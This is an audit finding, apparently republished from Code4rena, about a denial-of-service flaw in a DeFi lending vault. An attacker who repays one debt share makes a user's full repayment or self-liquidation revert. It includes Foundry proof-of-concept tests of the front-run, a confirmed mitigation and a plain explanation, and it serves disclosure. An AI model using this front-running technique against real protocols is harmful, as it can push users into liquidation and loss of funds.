Repayments and liquidations can be forced to revert by an attacker that repays minuscule amount of shares
The repay and liquidate functions revert if the requested shares exceed the current debt shares, so an attacker can repay a tiny amount (e.g., one share) to make a user's full repayment or self-liquidation fail. This can prevent users from improving their health or self-liquidating, potentially leading to liquidation by the attacker.
kfx Follow with kinda_very_good, zxriptor and 21 others
Originally disclosed on Code4rena
Submitted by kfx, also found by kinda_very_good, zxriptor, CaeraDenoir, grearlake (1, 2), falconhoof, 0x175, JohnSmith, Giorgio, JecikPo, jnforja, SpicyMeatball, shaka, givn, Aymen0909, AMOW, atoko, Norah, alexander_orjustalex, JCN (1, 2), web3Tycoon, erosjohn, lanrebayode77, nmirchev8, 0xjuan, and 0xAlix2
Impact
At the moment, both repay and liquidate calls will fail if the amount of shares that the transaction attempts to repay exceeds the outstanding debt shares of the position, with RepayExceedsDebt and DebtChanged errors respectively.
This enables an attacker to keep repaying very small amounts, such as 1 share, of the debt, causing user/liquidator transactions to fail.
The attack exposes risks for users who are close to the liquidation theshold from increasing their position’s health, and also from self-liquidating their positions once they’re already below the threshold.
Proof of Concept
function testRepaymentFrontrun() external {
address attacker = address(0xa1ac4e5);
_setupBasicLoan(true);
vm.prank(WHALE_ACCOUNT);
USDC.approve(address(vault), type(uint256).max);
vm.prank(WHALE_ACCOUNT);
USDC.transfer(address(attacker), 1e12);
vm.prank(attacker);
USDC.approve(address(vault), type(uint256).max);
// wait 7 day - interest growing
vm.warp(block.timestamp + 7 days);
uint256 debtShares = vault.loans(TEST_NFT);
vm.prank(attacker);
vault.repay(TEST_NFT, 1, true); // repay 1 share
// user's repayment fails
vm.prank(WHALE_ACCOUNT);
vm.expectRevert(IErrors.RepayExceedsDebt.selector);
vault.repay(TEST_NFT, debtShares, true); // try to repay all shares
// attacker (or someone else) can liquidate the position now
vm.prank(attacker);
vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares - 1, 0, 0, attacker, ""));
}
function testLiquidationFrontrun() external {
address attacker = address(0xa1ac4e5);
_setupBasicLoan(true);
vm.prank(WHALE_ACCOUNT);
USDC.approve(address(vault), type(uint256).max);
vm.prank(WHALE_ACCOUNT);
USDC.transfer(address(attacker), 1e12);
vm.prank(attacker);
USDC.approve(address(vault), type(uint256).max);
// wait 7 day - interest growing
vm.warp(block.timestamp + 7 days);
uint256 debtShares = vault.loans(TEST_NFT);
vm.prank(attacker);
vault.repay(TEST_NFT, 1, true); // repay 1 share
// user's self-liquidation fails
vm.prank(WHALE_ACCOUNT);
vm.expectRevert(IErrors.DebtChanged.selector);
vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
}
Recommended Mitigation Steps
Allow to attempt to repay an unlimited amount of shares. Send back to the user tokens that were not required for the full repayment.
Assessed type
DoS
The attack vector includes MEV as a necessary condition.
Status: Mitigation Confirmed. Full details in reports from b0g0, thank_you and ktg.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The functions revert when the requested repayment or liquidation amount exceeds the current debt shares, without allowing excess shares to be ignored or refunded.
Impact
Users close to the liquidation threshold cannot increase their position's health, and users below the threshold cannot self-liquidate, potentially allowing the attacker to liquidate the position.
What the attacker needed
Attacker has a small amount of loan token; attacker can front-run user transactions (MEV)
The fix
The protocol was fixed by allowing repayment of an unlimited amount of shares and refunding any excess tokens.
How it was found
- Attacker obtains a small amount of the loan token and approves the vault to spend it.
- Attacker waits for interest to accrue, increasing the debt shares.
- Attacker calls repay with 1 share, reducing the debt shares by 1.
- When the user tries to repay the original debt shares, the transaction reverts with RepayExceedsDebt.
- When the user tries to self-liquidate with the original debt shares, the transaction reverts with DebtChanged.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this lending system, users repay debt by specifying an amount of 'shares'. If someone else repays even a tiny amount first, the total shares owed changes, so a later attempt to repay the original full amount fails because it now exceeds the debt. The same happens for liquidation, so an attacker can block a user from repaying or self-liquidating.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.